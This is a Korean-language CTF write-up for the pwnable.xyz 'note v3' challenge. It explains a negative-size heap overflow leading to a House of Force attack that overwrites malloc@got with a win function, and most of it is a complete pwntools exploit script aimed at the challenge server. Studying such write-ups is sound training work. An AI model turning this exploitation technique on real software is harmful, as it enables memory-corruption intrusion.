[pwnable.xyz]note v3
한번 코드가 계속 덮이는데 오류떠서 다시 밀고 짜버렸다. 힙을 두개 할당해주는데 처음 청크는 note글자의 사이즈와 title 주소를 써준다.
익스는 쉬웠다. size를 -1로 입력해서 note 글자 사이즈를 0xffffffff으로 만들어줘서 edit에서 0xffffffff만큼 edit할 수 있다. 그래서 topchunk를 덮을 수 있었고 title주소를 bss영역의 note주소로 바꿔서 heap주소를 leak해주고 topchunk 주소를 구할 수 있으므로 house of force
를 이용해서 aaw를 만들 수 있다. 나 같은 경우에는 malloc@got를 덮었다. 이게 처음에 힙을 하나 할당해줘서 offset을 잘 맞춰주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
# p = process('challenge')
# libc = e.libc
p = remote('svc.pwnable.xyz',30041)
#libc = ELF('./alpine-libc-2.24.so')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
notes = 0x00000000006012A0
win = e.symbols['win']
def make(size,title,note,m=True):
sa('>','1')
sa(':',str(size))
sa(':',title)
if m:
sa(':',note)
def edit(note,data):
sa('>','2')
sa(':',str(note))
sa(':',data)
def _list():
sa('>','3')
def quit():
sa('>','0')
make(-1,'A','A',m=False)
make(-1,'B','B',m=False)
edit(1,p64(0)+p64(0x31)+p64(0x42)+p64(0)*4+p64(0xffffffffffffffff))
edit(0,p64(0)+p64(0x31)+p64(0x41)+p64(0)*4+p64(0x21)+p64(0xffffffff)+p64(notes))
_list()
p.recvuntil('\x0a')
heap_base = u64(p.recv(4).ljust(8,'\x00')) - 0x10
log.info('heap_base : {}'.format(hex(heap_base)))
top_chunk = heap_base + 0xa0
log.info('top_chunk : {}'.format(hex(top_chunk)))
hof = (0x0000000000601290 - top_chunk - 0x10 - 0x8 - 80) & 0xffffffffffffffff
print hex(hof)
make(hof,p64(win),p64(win),m=False)
sa('>','1')
sa(':','1')
p.interactive()
Reference
https://www.lazenca.net/display/TEC/The+House+of+Force